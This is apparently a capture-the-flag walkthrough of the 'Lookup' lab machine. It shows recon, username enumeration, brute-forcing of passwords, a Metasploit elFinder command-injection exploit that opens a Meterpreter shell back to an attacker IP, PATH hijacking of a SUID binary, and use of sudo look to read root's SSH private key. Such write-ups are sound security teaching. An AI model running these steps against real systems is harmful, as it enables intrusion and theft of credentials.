1. Reconnaissance

We begin with a full TCP port scan to identify open ports:

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.82.151.127 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-25 13:19 CET
Initiating SYN Stealth Scan at 13:19
Scanning 10.82.151.127 [65535 ports]
Discovered open port 22/tcp on 10.82.151.127
Discovered open port 80/tcp on 10.82.151.127
Completed SYN Stealth Scan at 13:19, 12.73s elapsed (65535 total ports)

Then we run a targeted scan with version and script detection on the discovered ports:

❯ nmap -p22,80 -sCV 10.82.151.127 -oN target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-25 13:19 CET
Nmap scan report for 10.82.151.127
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 73:13:b3:7f:87:c5:00:3c:2e:4c:eb:31:9b:4d:72:0c (RSA)
|   256 62:49:6b:17:d5:92:17:f0:06:92:cd:73:ce:54:ee:55 (ECDSA)
|_  256 a7:4e:5b:fb:2d:50:f2:de:32:49:94:bf:c0:9f:41:a5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://lookup.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds

Open ports:

  • 22/tcp – SSH (OpenSSH 8.2p1 on Ubuntu)
  • 80/tcp – HTTP (Apache 2.4.41, redirecting to lookup.thm)

The exposed services are limited to SSH and a single web application, so we focus on web enumeration.

2. Web enumeration and username discovery

The web server presents a login panel.

  • If we submit an invalid username, we get: Wrong username or password. Please try again.
  • If we submit a valid username with a wrong password (for example, admin), we get: Wrong password. Please try again.

This difference in error messages lets us enumerate valid usernames.

Using Caido:

  1. Intercept the POST login request.
  2. Send the request to Automate.
  3. Mark the username parameter as a variable and fuzz it with the SecLists usernames wordlist.
  4. Filter by responses with shorter length (the ones that say only Wrong password. Please try again.).

We identify two valid web users:

  • admin
  • jose

Directory and subdomain fuzzing do not reveal anything useful.

3. Password brute force and web login

Next, we perform a password brute force attack against the discovered users, starting with jose, which seems more likely to be weak.

Again using Caido:

  • Fix username=jose.
  • Set password as the variable parameter in Automate.
  • Use the rockyou.txt wordlist.
  • Filter by HTTP status code to spot a 302 Redirect, which indicates a successful login.

We obtain valid credentials for jose on the web app.

SSH login as jose fails, so the credentials are only valid for the web interface.

Once authenticated on the web panel, we are redirected to http://files.lookup.thm.

4. File manager and elFinder 2.1.47 exploit

Inside files.lookup.thm we see many .txt files with strange names but nothing immediately interesting, except for a file called credentials.txt containing:

think : nopassword

There is also a help tab or info panel indicating that the application is elFinder 2.1.47.

We search in Metasploit for available exploits:

msf > search elFinder 2.1.47

Matching Modules
================

   #  Name                                                               Disclosure Date  Rank       Check  Description
   -  ----                                                               ---------------  ----       -----  -----------
   0  exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection  2019-02-26       excellent  Yes    elFinder PHP Connector exiftran Command Injection

We load this module and set the options:

  • set LHOST <ATTACKER-IP>
  • set RHOST <TARGET-IP>
  • set VHOST files.lookup.thm

After running exploit, we obtain a Meterpreter session as www-data.

5. Lateral movement and SUID discovery

From the web shell, we enumerate /home and find the following users:

  • ssm- user
  • think
  • ubuntu

We already saw a reference to think earlier, but it was not a direct credential.

We begin a typical privilege escalation process by searching for SUID binaries:

find / -perm /4000 2>/dev/null

In the output, we notice an unusual binary that does not normally appear on default systems:

/usr/sbin/pwm

Running it as www-data:

www-data@ip-10-82-133-8:/var/www/files.lookup.thm/public_html/elFinder/php$ /usr/sbin/pwm
/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found

The behavior suggests the following logic:

  1. Run the id command to extract the username and UID.
  2. Try to read the corresponding /.passwords file from that user’s home directory.

If such a file exists, its contents are printed.

6. PATH hijacking to impersonate another user

Since /usr/sbin/pwm calls id, if it does not use the absolute path (/usr/bin/id), we can hijack the call by modifying the PATH environment variable.

We create a fake id in /tmp/attack/ that prints an id output for user think:

#!/bin/bash
 
 echo "uid=0(think) gid=0(think) groups=0(think)"

Then we make it executable and put our directory first in PATH:

export PATH=/tmp/attack:$PATH

(We also have to give execute permission to the id file with chmod +x /tmp/attack/id.)

Now, when we execute /usr/sbin/pwm:

$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
<LISTADO DE CONTRASEÑAS DE THINK>

The binary believes the current user is think and prints the content of /home/think/.passwords, which is a list of candidate passwords for this account.

We try to repeat the trick for root by changing the script to:

#!/bin/bash

echo "uid=0(root) gid=0(root) groups=0(root)"

But it fails:

$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: root
[-] File /home/root/.passwords not found

There is no /home/root/.passwords file, so we cannot use this binary to leak root passwords directly.

7. Cracking think’s SSH password

We focus on the passwords collected from the /home/think/.passwords file.

We save them in a wordlist (for example, think_pass.txt) and use Hydra against SSH:

❯ hydra -l think -P think_pass.txt ssh://lookup.thm
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra[](https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-26 12:32:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 49 login tries (l:1/p:49), ~4 tries per task
[DATA] attacking ssh://lookup.thm:22/
[22][ssh] host: lookup.thm   login: think   password: **********
1 of 1 target successfully completed, 1 valid password found
Hydra[](https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-26 12:32:33

Hydra finds a valid SSH password for think.

We connect via SSH and grab the user flag:

think@ip-10-82-133-8:~$ ls
user.txt
think@ip-10-82-133-8:~$ cat user.txt
*********************

8. Privilege escalation to root

We check sudo permissions for think:

think@ip-10-82-133-8:~$ sudo -l
[sudo] password for think: 
Matching Defaults entries for think on ip-10-82-133-8:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User think may run the following commands on ip-10-82-133-8:
    (ALL) /usr/bin/look
think@ip-10-82-133-8:~$

So think can execute /usr/bin/look as root.

According to GTFObins, we can abuse look to read arbitrary files as root:

sudo look '' <ARCHIVO QUE QUERAMOS LEER>

Instead of just reading the root flag, we look for a way to obtain persistent root access. A good target is the SSH private key in /root/.ssh/id_rsa:

think@ip-10-82-133-8:~$ sudo look '' /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
**********************************
-----END OPENSSH PRIVATE KEY-----

We copy the entire key and save it on our attacking machine as root_id_rsa, then set the correct permissions and use it to log in as root:

chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.82.133.8

Once inside:

root@ip-10-82-133-8:~# whoami
root
root@ip-10-82-133-8:~# ls
total 52K
drwx------  6 root root 4.0K May 28 19:24 .
drwxr-xr-x 19 root root 4.0K Nov 26 11:01 ..
lrwxrwxrwx  1 root root    9 Jun  2  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.2K May 12  2024 .bashrc
drwx------  2 root root 4.0K Jan 11  2024 .cache
-rwxrwx---  1 root root   66 Jan 11  2024 cleanup.sh
drwx------  3 root root 4.0K Apr 17  2024 .config
drwxr-xr-x  3 root root 4.0K Jun 21  2023 .local
-rw-r--r--  1 root root  161 Jan 11  2024 .profile
-rw-r-----  1 root root   33 Jan 11  2024 root.txt
lrwxrwxrwx  1 root root    9 Jul 31  2023 .selected_editor -> /dev/null
drwx------  2 root root 4.0K May 28 19:24 .ssh
-rw-rw-rw-  1 root root  11K May 28 19:24 .viminfo
root@ip-10-82-133-8:~# cat root.txt
**************************
root@ip-10-82-133-8:~#

9. Summary

  • Initial recon with nmap identified SSH and HTTP on an Apache web server redirecting to lookup.thm.
  • The login form leaked valid usernames via different error messages.
  • Using Caido, we enumerated the users admin and jose, then brute‑forced jose’s web password with rockyou.txt.
  • After logging in, we found an elFinder 2.1.47 instance at files.lookup.thm and exploited it with Metasploit, gaining a Meterpreter shell as www-data.
  • Enumeration of SUID binaries revealed /usr/sbin/pwm, which calls id and reads /home//.passwords.
  • We hijacked PATH with a fake id binary to impersonate think and dump /home/think/.passwords.
  • Using the leaked passwords with Hydra, we obtained valid SSH access as think and captured the user flag.
  • sudo -l showed that think could run /usr/bin/look as root, which we abused (per GTFObins) to read /root/.ssh/id_rsa.
  • With the stolen private key, we logged in as root via SSH and retrieved the root flag.

Machine completed successfully.